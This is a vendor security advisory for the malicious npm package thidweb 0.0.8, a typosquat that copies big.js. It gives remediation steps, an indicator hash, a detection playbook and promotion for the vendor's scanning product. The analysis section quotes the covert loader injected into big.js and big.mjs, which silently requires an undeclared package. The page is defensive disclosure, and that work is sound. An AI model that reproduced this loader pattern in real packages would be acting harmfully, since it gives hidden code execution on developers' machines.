Which versions of thidweb are malicious?

The following npm versions of thidweb are flagged malicious: 0.0.8. Treat any of these as compromised.

How do I remediate thidweb if I installed it?

thidweb is a typosquat — you almost certainly intended a legitimately-named package. Remove thidweb, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed thidweb — how do I know if it already compromised me?

If thidweb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is thidweb part of a known attack campaign?

Yes — thidweb is associated with the IN-MAL-2026-007356 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find thidweb across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for thidweb (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging thidweb across your stack and pipelines.

Malicious package

thidwebnpm

Malicious code in thidweb (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6343

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall thidweb

What this malware does

Package is published as thidweb but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 # big.js; big.js header big.js v7.0.1; package.json repository url https://github.com/MikeMcl/big.js.git). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The same block is present in big.mjs. parket-slot is not declared in package.json dependencies; the only declared dependency is log-taker@^0.0.9, which upstream big.js does not require (upstream is dependency-free). Any developer who installs thidweb (mistaking it for big.js) and imports it executes whatever code parket-slot ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack.

Malicious versions

1 flagged

0.0.8

Indicators of compromise (SHA-256)

80721058923b3e5963a6ee170007b8b4131ae5093481456ca10e63f52963987d

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for thidweb (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging thidweb across your stack and pipelines.
If you installed it — respond
thidweb is a typosquat — you almost certainly intended a legitimately-named package. Remove thidweb, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If thidweb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks thidweb before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. thidweb on npm has been identified as a malicious package (version 0.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007356

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks thidweb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring